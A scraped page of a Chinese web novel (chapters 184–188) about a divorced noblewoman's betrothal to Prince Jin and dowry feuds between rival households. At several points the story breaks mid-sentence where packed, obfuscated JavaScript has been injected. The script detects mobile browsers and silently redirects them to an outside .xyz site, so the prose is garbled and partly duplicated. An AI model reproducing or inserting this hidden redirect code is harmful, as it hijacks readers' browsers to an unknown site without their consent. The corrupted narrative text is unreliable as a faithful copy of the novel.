董氏又替姜锦年找补了一番,把陆映溪安抚下来,也匆匆离开了。 陆映溪轻轻舒了口气,总算把人打发了。 她摸着自己的肚子,这个筹码果然好用。 她不知道,董氏心虚的原因另有其他。 陆映溪命人去宫门前打听候选结果。 “那**是二嫁之身,定不可能选上!” 她这般告诉自己,但最后的事实却并不如她所期待。 “大小姐她,她被皇上钦点为瑾王妃,圣旨已然下到陆家去了。” 陆映溪面容瞬间变得狰狞扭曲,“**,她凭什么?她都是和离过的人,她怎么配?” 陆映溪气得在屋子里砸东西,刚砸了一套茶具,她就抚着肚子哎哟了起来,丫鬟们赶紧上前搀扶。 “小姐,大夫说了,您不能大喜大怒,情绪激动,您快到床上躺一会儿吧。” 陆映溪恶狠狠地骂,“我就是气不过,为什么每次她都那么好运?老天爷怎么那么不公平!” 同样这般懊恼不忿的,还有宣平侯府众人。 这个消息像是一道巴掌,狠狠地打在了他们的脸上。 原本姜氏还能私底下骂陆知苒是弃妇,就算要再嫁,也定然比不上她儿子。 而今,陆知苒得了一门泼天的好亲事,以后,她们见了她,都得叩拜行礼! 楚云清心里酸得不行,本以为自己压陆知苒一头,结果她是正妃,自己只是个侧妃。 第184章 祝你们早生贵子 这一次,连赵书宁的心态都崩了。 怎么回事?姜锦年没把事情办成?那个蠢货! 她把事情办砸了,李贵妃那里,自己也定然要受到迁怒。 陆知苒若当真嫁给瑾王,就是给了瑾王最大的助力,六皇子的胜算又要少一成。 赵书宁思考着接下来该如何让李贵妃消气,转头就见楚翊安脸色难看,整个人都似隐忍克制着什么。 赵书宁见他这副模样就腻味。 都和离八百年了,做这副样子给谁看? 楚云清眼巴巴地看着赵书宁,“嫂嫂,现在该怎么办啊?” 赵书宁心中升起烦躁,“这是皇上的旨意,我能有什么法子?” 楚云清骂骂咧咧,“她可真是不要脸,既嫁过人,就该替兄长守着,怎么能再嫁?真是丢了我们女人的脸,丢了兄长的脸,以后兄长出去,都要被人笑话。” 楚翊安原本就难看的脸色顿时又沉了两分。 赵书宁却是淡淡开口,“男子可以续娶,女子为何不能再嫁?” 楚云清不满,“嫂嫂,你怎么还帮她说话啊?” 赵书宁语气冷淡,“我不是在帮谁,只是说句实话罢了。既已和离,那便是一别两宽,各生欢喜,旁人如何,与你们也没了半分相干。” 是,她的确不希望陆知苒嫁给萧晏辞,但也见不得楚家人这副嘴脸。 嫁进他们楚家门,就成了楚家的牛马,一辈子都甩不开了?真是笑死个人。 楚翊安再蠢也听出了她的画外音,一股邪火往上蹿,“你在阴阳怪气地说谁?” 赵书宁神色依旧淡淡的,“我阴阳怪气了吗?我只是说句实话罢了,你们会不会太敏感了些。” 楚翊安越发火大,却又无处可发,直堵在心口,憋得慌。 姜氏也十分不悦,“书宁,你是我们楚家媳,就该向着我们楚家,可别忘了自己的身份,反而开始偏帮外人。” 赵书宁懒得与她们费口舌,便只不轻不重地应了一声。 姜氏心里不痛快,转而又道:“你也不要总是忙着外头的事,子嗣之事也是重中之重,安儿至今膝下空虚,你自己便是大夫,若是迟迟怀不上,也要给自己开个方子,好好调理一番。” 姜氏早就想提此事,却一直忍着。 毕竟侯府的确需要赵书宁在贵人面前拉拔。 但今日赵书宁的态度让她很不悦,便端出了婆母的架子,敲打一番。 现在生孩子?不可能。 西平之事悬而未决,她指不定什么时候就要被委派前去,若是怀了身孕,如何还能前往西平,处理那番烂摊子? 赵书宁直接拒绝,“而今侯府局势未明,我正是在李贵妃跟前效力的最佳时候,此时怀孕生子,绝非最佳时机。” 姜氏一听这话,顿时更加不高兴了,“侯府的未来,是男人该考虑的事,女人就该在家中相夫教子,你在外头待久了,别把心养大了,完全忘了自己的本分。” 赵书宁没说话。 楚翊安也只是冷冷看着她,没有开口解围之意。 姜氏又道:“你不生,多的是人争着抢着给安儿生。” “那就让别人生好了。” 她的语气轻飘飘的,一副满不在乎的模样,楚翊安的脸色又沉了几分。 她这是什么态度?可还记得自己的身份? 姜氏被她气到了,当即便想给她一个下马威瞧瞧。 “绿英,今日起,你便到大少爷房里伺候吧,若是你争气,能尽快怀个一儿半女,我便做主还了你的**契,抬你为贵妾。” 绿英本就对楚翊安怀有心思,闻言,喜得眼睛都亮了。 她立马跪下,“奴婢多谢老夫人抬举,奴婢定尽心伺候大少爷,定,定早日为大少爷诞下子嗣!” 说完,她便眼含羞涩地看了楚翊安一眼。 楚翊安既没有接受,也没有拒绝,只看着赵书宁。 赵书宁眼底闪过一抹厌恶,冷冷道:“那我便祝你们早生贵子了。” 说完,她转身便走,只留给众人一个背影。 姜氏气得拍桌子,“安儿,你看看她,仗着自己在外头挣了点小功劳,简直越来越不像样了!” 楚翊安心头怒火反倒稍稍压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162040|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了几分,她如此态度,至少说明她对自己还是在乎的。 但母亲说得也没错,她敢如此拿乔,的确是仗着自己在外头得脸。 既然如此,就不能那么惯着她,该让她知道知道,谁才是一家之主。 反观陆贯轩,则是满面春风,得意极了。 他没想到,这个自己一直没放在心上的女儿,竟是最给他挣脸的。 又是县主,又是王妃,他们陆家祖坟简直冒青烟了。 每天下朝,陆贯轩身边都有很多同僚上前与他寒暄,套近乎,他走路都是飘的。 反观姜永康,可谓灰头土脸。 姜锦年当日在宫中的丑事早就传开了,姜永康这个当爹的也跟着脸上无光,每天下朝他都走得飞快。 偏在这时,他以前贪墨的一笔烂账被新任御史楚汉秋查了出来,当众狠参了一本。 德丰帝大怒,当庭一道口谕,将他一贬到底,贬成了个九品通判知事。 这简直就是名副其实的芝麻小官,关键是还丢人,大家都看尽了他的笑话。 姜永康官场失意,把火气都撒在姜锦年的身上。 “别人家的女儿是给家主增光添彩,你呢?尽给我丢人!我的老脸被你丢光了,官途也被你毁了!” 姜锦年被骂得直抹泪,“我也是受害者啊,都是陆映溪那小**怂恿的我!” 姜永康更加气恼,“别人怂恿你,你就蠢得上当?但凡你有脑子,就不会被人当枪使。这段时间,你就在自己院子里禁足,好好反省。” 姜家的气压低沉,下人们捧高踩低,陆映溪那头的待遇便急转直下,姜星熠回来时,陆映溪与他大吵了一架。 “你们姜家人就是这么对我,这么对我肚子里的孩子的?看看给我送来的都是些什么狗都不吃的玩意儿。” 姜星熠吊儿郎当地道:“你肚子里的孩子是不是我的还不一定呢,有什么好拿乔的?反倒是你这个扫把星,一进门就害我妹妹名声被毁,害得我爹官职被贬,整个姜家人仰马翻,我们姜家没把你休了,已经是仁至义尽了,你就知足吧。” 第185章 陆映溪搬救兵 陆映溪被他这无耻的话气得气血翻涌。 “你,你敢这么对我,我这就把这孩子打了!” 姜星熠已经拿捏了她的套路,每回一吵架,她就拿孩子威胁,实际上,她才是最舍不得打掉孩子的。 没了孩子,她就没了筹码,她怎会做这亏本的买卖? “爱打就打,我无所谓,反正,多的是女人能替我生孩子。” 撂下这混账话,他便转身走了。 陆映溪颓然地坐在椅子上,眼底满是恨意。 为什么,她的日子就过成了这样? 不知过了多久,她的神情慢慢变得坚毅起来。 她一定要生下这个孩子。 她已经没有了其他退路,姜家的确是她最后的立身之所。 没了这孩子,她连姜家这个靠山都要失去。 她要靠着这个孩子,绝地反击! 她对金桔吩咐,“把我嫁妆里的那几套头面卖了,换些零钱在手里。” 有钱能使鬼推磨,她要想在姜家的日子过得好一些,就得花钱打点。 金桔连忙去了。 但是很快,她就慌慌张张地跑了回来,神色焦急,“少夫人,不好了!” 陆映溪沉着脸,“天塌下来了不成?” 还能有什么事比现在更加糟糕? 金桔脸色难看,“奴婢方才去库房拿头面,发现,发现您的嫁妆竟少了大半!那些值钱的东西,都没了!” “什么?” 陆映溪蹭地一下就从座位上站起来,动作太猛,身子险些一个趔趄,肚子又开始阵阵抽疼。 “你,你方才说什么?” 金桔脸色难看地把方才的话又重复了一遍,陆映溪的脑子里一阵嗡嗡地响,一股怒意更是直冲脑顶。 “看嫁妆的章婆子呢?给我把她押上来!” 很快,一个身形瘦弱的婆子被带了上来,她是陆映溪从陆家带来的陪嫁,是方氏为她选的人,为人老实可靠,陆映溪这才将库房钥匙交给她,却没想到,竟出了那么大的纰漏! 陆映溪一动怒,腹中便一阵绞痛,她只能强忍怒火发问,“说!我的嫁妆是怎么一回事?都去了哪儿了?是不是你监守自盗,昧了我的东西?” 章婆子眼神闪烁,支支吾吾。 “不说是吧,好,给我拖下去打,打死为止!” 章婆子一听,顿时慌了,连忙砰砰磕头,“少夫人饶命,奴婢没有偷东西,奴婢万万不敢的啊!那些东西,都,都被夫人搬走了,夫人是这姜家的天,奴婢也不敢违抗啊!” 董氏有心算无心,派人去查了章婆子的儿子,故意设套让其犯事,章婆子救子心切,很快倒戈,背叛了陆映溪。 陆映溪目眦欲裂,果然是那老虔婆! 偷了她的嫁妆,还敢在自己面前摆婆婆的谱,更是让下人苛待自己,简直不是东西! “那是我的东西,没有我的命令,你岂能让那老虔婆随随便便搬走?过后你竟也不及时来报,若非今日金桔发现端倪,是不是到我死,你都一直瞒着这件事不说?来人,拖出去乱棍打死!” 金桔赶忙劝,“少夫人,咱们还得留人证呢。” 陆映溪这才压下怒意,“留着一口气就行。” 章婆子身子瘫软在地,口中连连求饶,“少夫人饶命,饶命啊,奴婢也是迫于夫人的威胁,这才不敢说的呀,奴婢知错了,请少夫人饶过奴婢这一回吧!” 但陆映溪丝毫不为所动,章婆子被拖了出去,很快院中就传来了她凄惨的哀嚎。 陆映溪抚着肚子,面容隐忍,带着几分痛楚。 金桔慌了,“少夫人,您别激动,银子再重要,也没有您腹中的孩子重要啊!” 陆映溪眼眶一片赤红,心里恨到了极致。 “你派人回陆家,将实情尽数告知,请父亲亲自来一趟,若父亲不愿来,就去请族老!我那好姐姐马上要当瑾王妃了,我却在婆家被人如此欺凌,我倒要看看,陆家管不管!” “奴婢这就去安排,您先躺下,好好歇一会儿,千万不要再动了胎气。” 陆映溪深吸了一口气,平复了心头翻涌的情绪,“放心,我不会有事的。” 她还等着拿腹中孩子做筹码,怎么可能让他有事? 姜家人不仁,就不要怪她不义! 董氏赶到时,那章婆子被打得只剩最后一口气,发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162041|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声声虚弱的呻吟。 院中的地上浸了一滩血,她的腰臀都被打烂了,血肉模糊,叫人见了都不禁心底发寒。 一众丫鬟婆子们都噤若寒蝉,董氏的眉头蹙起,心中升起一股不好的预感。 陆映溪如此不留情面,直接把人打得半死,此事怕是不好善了。 董氏要入内,却被丫鬟客气地挡在门外。 “夫人留步,我家少夫人身子不适,已然歇下了,夫人下次再来吧。” 董氏不禁着急,她该不会真的动了胎气吧?不然怎会不第一时间找自己问个清楚? 很快她就知道原因了。 下人匆匆来禀,陆家来人了! 不仅陆贯轩来了,陆家一众族老也来了。 董氏心里重重一个咯噔,这小**,竟是回去搬救兵了。 她一边命人去请老爷回来,一边抬步往外而去。 陆贯轩带着一众族老,到姜家狠狠闹了一场。 以往他或许不会多管这个女儿,但正如陆映溪所料,陆家今时不同往日,陆知苒即将成为瑾王妃,陆映溪却被姜家欺到头上来,陆家若不管,岂不是让人看笑话? 人证物证俱全,董氏不得不承认自己挪用了陆映溪的嫁妆,在陆家众族老的威压,和陆贯轩扬言要再参姜永康一本的威胁下,姜家不得不答应把挪用的嫁妆还回来。 “实不相瞒,并非我贪图钱财,要挪用儿媳的嫁妆,那些东西也没落在我的口袋里,全都被宣平侯府拿走了。他们偌大的侯府,连自己女儿的嫁妆都置办不起,就只能求到我们头上来了,这个主意也是他们出的。我也是一时鬼迷心窍,这才答应下此事,实在是糊涂。” 这番话让众人惊得目瞪口呆。 自己家嫁女儿,竟偷了别人的嫁妆充数? 陆贯轩气极了,好个宣平侯府,当初贪墨自家大女儿的嫁妆也就罢了,现在连他小女儿的嫁妆也拐着玩弯贪了去,简直是不要脸! 董氏祸水东引,“我们姜家实在不敢得罪宣平侯府,这才不得不捏着鼻子把东西双手奉上,而今要讨回来,只怕不易。但若陆家上门讨要的话,想来他们不敢不还。” 第186章 两家撕破脸 董氏这算盘珠子都要打到他们的脸上来了。 陆贯轩可不是傻子,陆家的族老更不是。 东西是董氏许出去的,却要他们自己去讨回来,她倒是躲在后头相安无事,哪有这么美的事? “我不管你们把嫁妆给了谁,又是什么原因才给的,我只认一件事,东西是你们姜家拿的,那就得由你们姜家还回来。至于你们是跟宣平侯府撕破脸也好,你们姜家自己砸锅卖铁也罢,都是你们自己的事。若是你们还不回来,那姜大人,我们就朝堂上见!” 姜永康一直黑着脸不说话,听了这话,脸更黑了。 他现在已经是个芝麻小官了,可禁不起再参一本! 况且挪用儿媳嫁妆也不是什么光彩事,传扬出去,姜家的名声都臭了。 董氏舔着脸凑到陆映溪跟前说好话,陆映溪语气冷冰冰的,丝毫不为所动。 “母亲当初既然敢挪用我的嫁妆,可见心里没有我这个儿媳,既如此,我们也没什么好说的,就依我父亲所说的办吧。” 董氏恨得咬牙,却半点法子都没有。 “我给你们五日时间,五日内若还不回来,那就不要怪我不给姜家留情面了。” 撂下这话,陆贯轩和一众族老便扬长而去。 姜永康面沉如水,冷冷看了陆映溪一眼,“现在你满意了?” 陆映溪一副死猪不怕开水烫的模样,“也不是很满意,毕竟,嫁妆还没回到我手里。” 姜永康一噎,气得说不出话来。 “记住,你们只有五日时间,若是迟了一日,我可管不住我父亲。” 说完,她便由丫鬟扶着,转身回了屋。 姜永康气得眼前发黑,又狠狠刮了董氏一记眼刀子,“这烂摊子是你弄出来的,你给我想法子善后!” 董氏心中也委屈啊,这其中内情,旁人不知,他还不知道吗? 他们以经商的名义诓骗了小姑子的银子,实际上却是用来给他在官场上打点了,这笔银子他们本不打算还,只骗她说是经商失利,赔了。 但谁料宣平侯府失去了陆知苒那棵摇钱树,小姑子手头紧了,便三番四次来催债。 挪用陆映溪嫁妆,也是宣平侯府出的主意,此事老爷也是知晓和默许的,怎的事到临头就全怪到自己头上来了? 给出去的银子,那就是肉包子打狗,有去无回。 她现在还想要回来,怎么可能? 都怪陆映溪那个搅家精!明明已经嫁到姜家,却还联合娘家来坑他们! 这一场闹剧原原本本地传到了陆知苒的耳里。 她听罢不禁感叹,人不要脸果然天下无敌,姜家竟敢如此堂而皇之地挪用新媳的嫁妆。 不过她那妹妹也不是吃素的,这次算是扳回了一局。 凭她对姜氏的了解,董氏想要从宣平侯府再把那笔银子拿回来,绝对没可能,她们这对姑嫂有得闹了。 事实便如她所料,董氏第一时间去宣平侯府,想要拿回那批嫁妆,折算成银子也行,当即遭到了姜氏的拒绝。 笑话,那些东西都已经列入嫁妆单子,准备抬入六皇子府,怎么可能还回去? 董氏低声下气,“小姑,你就先把东西还回来,我先把陆映溪那小**应付过去,回头我再想法子给你凑钱,定然把当初那笔银子还给你。” 姜氏这回学聪明了,没再听信她的鬼话。 她要是真的有心给自己凑银子还钱,当初怎么一拖再拖? 她卖惨,姜氏就哭穷,半点都不松口。 董氏脸上的神色有些不大好看了,“小姑,这要是传出去清儿这个堂堂侧妃的嫁妆是偷的别人的,也不好听啊。你先把东西还回来,到时候再重新给清儿置办嫁妆岂不更好?” 姜氏冷笑,“欠债还钱天经地义,是你们欠了我的银子,这嫁妆是用来抵债的,可不是我们偷来的。旁人若是议论,我也有说头。” 双方算是直接撕破了脸,董氏气得甩袖而去。 楚云清听说了这件事,第一时间跑来,语气焦急,“娘,我的嫁妆,真的是从陆映溪那里偷来的吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162042|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>姜氏沉了脸,“你胡说八道些什么?那就是你的嫁妆,什么偷不偷的。” “可是外头都传遍了!说我们侯府外表光鲜,实则穷困,连嫁妆都备不起,只能打些歪主意。以后我怎么在六皇子府抬起头来?” 姜氏面上笼上一层寒霜,“好个董氏,竟敢如此编排造谣,既然她无情,那就不要怪我不给姜家留情面!” 姜氏第一时间命人到外头传播消息:姜家欠了宣平侯府银子还不起,便偷了儿媳的嫁妆抵债!侯府只是收了自己本该收的东西罢了。 一时之间,两家不停攀扯,流言不断,让大家看足了好戏。 不管外头流言传得如何沸沸扬扬,姜家都得把那笔嫁妆还回去。 董氏甚至让姜星熠到陆映溪跟前伏低做小,想哄她松口,但陆映溪却是心冷如石,半点不为所动,反而把姜星熠狠狠嘲讽了一通。 姜星熠气得又与她吵了一架,扬言定要休了她。 迫不得已,董氏只能拿出自己原本替姜锦年准备的嫁妆,又变卖了一些田产铺子,这才把银子凑齐,还了回去。 陆映溪一把夺过那些银票,当着董氏的面就数了起来。 数目对上了,她这才放心。 董氏恨得牙痒痒,“我们是一家人,一家人就该给彼此都留一条退路,凡事做得太过了,对自己也没有半点好处,你说是不是?” 陆映溪语气淡淡,“别人对我蹬鼻子上脸了,我难道还要客客气气的?那我不成了任人欺负的软包子了?母亲还有事吗?没事的话我想休息了。” 董氏平白得了个没脸,心中更气。 这件事才刚料理好,那头又不消停起来了。 “夫人,您快去瞧瞧吧,大小姐正在寻死呢!” 姜锦年正在屋子里闹悬梁,几个丫鬟在下头苦劝,她硬是不肯下来。 待见了董氏,姜锦年吼得更凶了。 “呜呜呜我不活了,我本就在宫里丢了脸,现在连嫁妆都没了,以后如何能嫁得到好人家?我还是**算了!” 第187章 他是吃醋 董氏沉着脸,“你有本事就吊给我看!你若真敢吊,我就佩服你!” 姜锦年完全呆住了。 “娘,你,你怎么不安慰我,反而还真的要我**?” 董氏恨铁不成钢,“安慰你有用吗?蠢东西,还不快给我下来。” 姜锦年抽抽搭搭,站着没动,但也没有再闹着要上吊。 “你们都是死的吗?还不快把小姐抱下来!” 几个丫鬟合力,这才把人抱了下来。 董氏拿帕子给她擦了擦眼泪,“你看看你,像什么样。” 姜锦年满脸委屈,“我的嫁妆都没了!全都落入了那**的手里,我能不伤心难过吗?” 董氏也心痛,只能安慰自己女儿,“这都是暂时的,你放心,娘亲会替你把那些东西连本带利全都讨回来。” “真的吗?” 董氏抚着她的脸颊,“自然是真的,娘亲何曾骗过你?那些东西,只是暂时放在那**那里,迟早会是你的。” 姜锦年闻言,这才露出笑意,眼底还多了一丝恶毒。 “待她生下孩子,就把她休了!看她这破鞋还有没有人要。” 董氏心中也如此盘算,但此事急不得,需得从长计议,万不能让姜家被人置喙。 “当务之急,是给你寻一门好亲事。” 提及此事,姜锦年的心中就燃起恨意。 她原本可以进六皇子府的,却全因为陆知苒毁了! 陆家的两姐妹,果然都是害人精,专门克她的! 两家人的笑话传得沸沸扬扬,萧宝珠把陆知苒约到了公主府,当面向她打听细节,一副八卦十足的模样。 听完了陆知苒的一手讯息,她还意犹未尽。 “若是我能亲自在旁边看戏就好了,一定很精彩。” 萧宝珠想到了什么,露出一副揶揄表情。 “苒姐姐,以后我就要改口,叫你七皇嫂了。” 陆知苒原本很坦然,但被她这副模样看着,反倒有些不自在起来。 “一个称呼罢了,想怎么叫都行。” “那怎么能一样,以后我就是你的小姑子了。那日选妃之事我已听说了,没想到七皇兄竟然当众求娶,他定然对你早有图谋。你嫁给他,可真是便宜他了。” 陆知苒认真地看着她,“我乃二嫁之身,你不会觉得我配不上瑾王殿下吗?” 虽然她并不以二嫁为耻,也不在乎世人的眼光,但她在乎朋友的看法。 尤其是萧宝珠这个朋友。 “二嫁怎么了?男人都可以续弦,咱们女人自然也能二嫁,更何况,你这般完美,这般优秀,嫁给我七皇兄,那是一朵鲜花插在了牛粪上,便宜他了!” 这话让陆知苒哭笑不得。 “瑾王殿下也没有你说得那般不堪,他人很好。” 不论是前世还是今生,他都给了自己足够的善意。 萧宝珠自然知道他人好,但嘴上却是故意贬损。 “他就是个莽夫,哪里好了。要我说,你和五皇兄容貌上最是般配,两个人都长得跟画里走出来的仙子似的,站在一块儿就养眼,以后生了孩子也定然好看。” 在陆知苒面前,萧宝珠语气随性,想到什么就说了什么。 偏巧,这话被不速之客萧晏辞听了个正着,他的脸顿时黑了。 “萧宝珠,你胡说八道些什么?” 萧宝珠被冷不丁冒出来的人吓了一跳。 想到自己方才的话,她有些心虚,但她恶人先告状,“七皇兄,你怎么每次都不请自来?就不能先让人通禀一声吗?” 萧晏辞冷笑,“我若是提前通禀了,如何能听得到你这番话?” 他好容易把婚事促成了,这丫头倒好,竟当面挖墙脚,拉郎配。 五皇兄那妖孽般的长相的确有几分优势,但他那弱不禁风的样子,哪里能与自己比?嫁给他,说不定得守活寡呢! 萧宝珠小声咕哝,“我就是私底下随便说说罢了。” “随便说说也不能说!” 萧宝珠心虚,求助地看向陆知苒。 陆知苒余光瞥见另一人,赶忙转移话题。 “叶小姐,你也来了?” 叶寒衣跟在萧晏辞后头,依旧是那副利落的骑装打扮,整个人浑身上下都透着股飒爽英姿,不说话时,有些严肃,像个冷面女将军。 只有眼底那抹看热闹的戏谑,暴露了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162043|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的真实想法。 萧宝珠眼睛一亮,“你就是寒衣姐姐吧,快过来坐。我早些时日就想去拜访你,但又怕叨扰你和柔妃娘娘叙旧,今日总算见着了。” 这其实不是实话。 并非她不想去,而是母后拦着她,没让她去。 彼时孙皇后还不知柔妃对叶寒衣的安排,萧宝珠贸贸然凑上去与之结交,未必是好事。 叶寒衣看了萧晏辞一眼,“表兄,你已经把我送到,可以去忙你的事了。” 萧宝珠也忙不迭地点头,“对对,七皇兄,你快去忙吧,别耽误了正事。” 萧晏辞:? 所以他连一口热茶都不配喝是吧。 余光朝陆知苒的方向看了一眼,后者正低头喝茶,也没有要挽留自己的意思。 虽然很不愿意走,但他也不得不承认,自己有点多余,只得识趣地走了。 萧宝珠吐吐舌头,“果然不能背后说人,方才七皇兄都生气了。” “他是吃醋。” 察觉到二人那揶揄的目光,陆知苒有些无奈,又无从解释。 她与瑾王并非她们所以为的那样。 丫鬟端了吃食上来,这才把话题岔开。 萧宝珠又找到了一个同道中人,叶寒衣的口味和饭量都与她如出一辙,即便二人只是头一次见面,却很快就熟络起来。 一顿饭毕,二人已经跟亲姐妹似的了。 从叶寒衣的口中,萧宝珠听到了很多稀奇古怪的吃食。 “寒衣姐姐,蝎子和蚱蜢真的可以吃吗?” “当然可以,还有蜈蚣,虎头蜂,个头又大又肥,炸来吃简直酥脆美味。还有蛇,虽然有毒,但剥皮去掉毒囊,煮粥做汤,尤其鲜甜。” 陆知苒听得浑身鸡皮疙瘩都冒了出来,萧宝珠却露出一脸神往之色。 “你真幸福,可以吃到这么多好吃的,我也好想尝一尝啊。” 不敢想象,每天都能吃到完全不重样的好东西,那该是何等幸福。 叶寒衣邀请她,“到时候你同我一道回去,我带你去吃!” 萧宝珠心头痒痒,当很快就蔫了下来。 “不可能的,我父皇母后不会答应的。” 第188章 抛头露面的勾当 叶寒衣想了想,又有了主意,“每年我爹和祖父都会给姑姑送很多东西入京,到时候我便给你准备一大车的吃食,你就能吃上了。” 萧宝珠眼睛又亮了,立马用力点头。 “太好了,那你可要记住,不能骗我!” 叶寒衣爽朗一笑,“我从不骗人。” 她又看向陆知苒,“到时候也有你的份。” 陆知苒:“……谢谢。” 顿了顿,她又认真道:“那日宫宴上你帮了我,我还没来得及对你道谢。” 叶寒衣满不在乎,“顺手的事,我也是看在表兄的面子上,他既然要护着你,我自然不能让旁人欺负了你去。” “这对你而言或许只是举手之劳,但是于我却是大恩情。我亦不知你喜欢什么,你不妨直说,我能办到,定不推辞。” 陆知苒语气真诚,叶寒衣也不是忸怩的性子,既然她都这么说了,便也不再推辞。 “我想要一把宝剑。” 指望自己那表兄,怕是不容易,还不如指望指望这个未来表嫂。 听说她手底下很多商队,要弄到一把宝剑,应当不算难。 陆知苒想了想便道:“我外祖家在苏州,他们手底下有经验老道的匠人,我这便去信给他们,让他们替你打一把好剑。” 叶寒衣闻言,立马就高兴起来。 “多谢表嫂!” 陆知苒被她这一声脆生生的表嫂喊得微微窘了一下。 这份新身份,她还得适应适应。 几人又聊到了锦绣坊,叶寒衣对这个地方非常感兴趣,她提议去看看,三人一拍即合,当即便动身。 短短一个月的时间,锦绣坊已然发展得如火如荼,原本这片荒野之地,此时已经变得热闹非凡,俨然成了一个人来人往的小集市。 萧宝珠骄傲地向叶寒衣介绍着这里的变化,满嘴都是对陆知苒的夸赞,叶寒衣的眼底不由满是钦佩,陆知苒都被夸麻木了。 这时,前头传来一阵谩骂。 “你个**,敢到这里抛头露面,我们老何家的脸都被你丢尽了!” “对啊,若让人知道你和这些贱民一样,在这里干这些活,我们何家怎么抬起头来?” 一个身形高大的男人和满脸刻薄的老婆子正朝着一个女人怒骂。 林慧娘身形瘦弱,面色苍白,满脸都写着惊惧,但还是鼓足勇气开口 “我,我们已经和离了。” 何日升气势汹汹,“就算和离了,你也是我们何家的人!进了我们何家的门,生是何家人,死也是何家的鬼!” 林慧娘气得胸口上下起伏,“你,你们欺人太甚!我连嫁妆都舍了,当时分明说得清清楚楚明明白白,我与你们何家再没半点瓜葛,而今你又凭什么再来干涉我?” 何日升**,“当初我哪里知道你是要到这个地方抛头露面?若我知道,怎么都不会让你离开何家。” 老婆子崔氏双手环抱,悠悠开口,“你要实在想在这里干活也行,以后你每月的月银,都得交上来。” 林慧娘明显不是他们母子的对手,直接被气哭了,围观的人不少,却无人开口帮忙,实在是那男人长得高大凶悍,看上去十分不好惹。 何日升直接上手就要把林慧娘拉走,这时,一只手钳住了他的肩。 何日升满脸戾气,“少管闲事!” 他转头,就对上了一张英气的脸,何日升的表情微顿,不自觉收起了浑身戾气,语气也平和不少。 “这位姑娘,这是我们的家务事,你还是不要插手为好。” 叶寒衣语气冷淡,“若我非要插手呢?” 何日升上下打量她,眼神中带着一丝不怀好意的嘲讽,“就凭你?我一只手就能把你撂倒……” 他的话音刚落,叶寒衣手上一个用力,众人还没看清究竟是怎么一回事,男人“咚”一声狠狠摔在地上,发出了杀猪般的惨叫,他的胳膊吊着,俨然是直接被卸了下来。 崔氏惊呼出声,“日升,你怎么样?你,你个小**,敢对我儿子动手,还有没有王法了?” 萧宝珠从人群中站了出来,冷声质问,“王法?你们在朝廷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162044|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办的锦绣坊**,我倒是要问问你们,眼里到底有没有王法?” “是她,是她抛头露面,丢人现眼……” “锦绣坊本就是为了收容那些无处可去的可怜女子,给她们一个自己养活自己的去处,怎么到了你们嘴里,就成了抛头露面的勾当?你们这是不把朝廷放在眼里?” 崔氏急忙辩解,“不,我们不是……” 就在这时,另一道怒喝声传来,“你们怎么又来骚扰我表姐!” 邢初雪风风火火地赶来,满脸怒气。 崔氏见了邢初雪,气势就矮了一大截,毕竟她现在身份不同,马上就要当王妃了。 他们知道林慧娘与邢初雪的关系好,所以才想着把林慧娘再弄回何家去,好借此机会与邢初雪搞好关系,攀上五皇子府。 谁料这女人竟翅膀硬了,敢违逆他们,这才发生了一番拉扯。 “初雪啊,我们没有骚扰她,这都是一场误会。我们是见她在这里干活太累了,心疼她,所以才想把她带回何家,继续享福。” 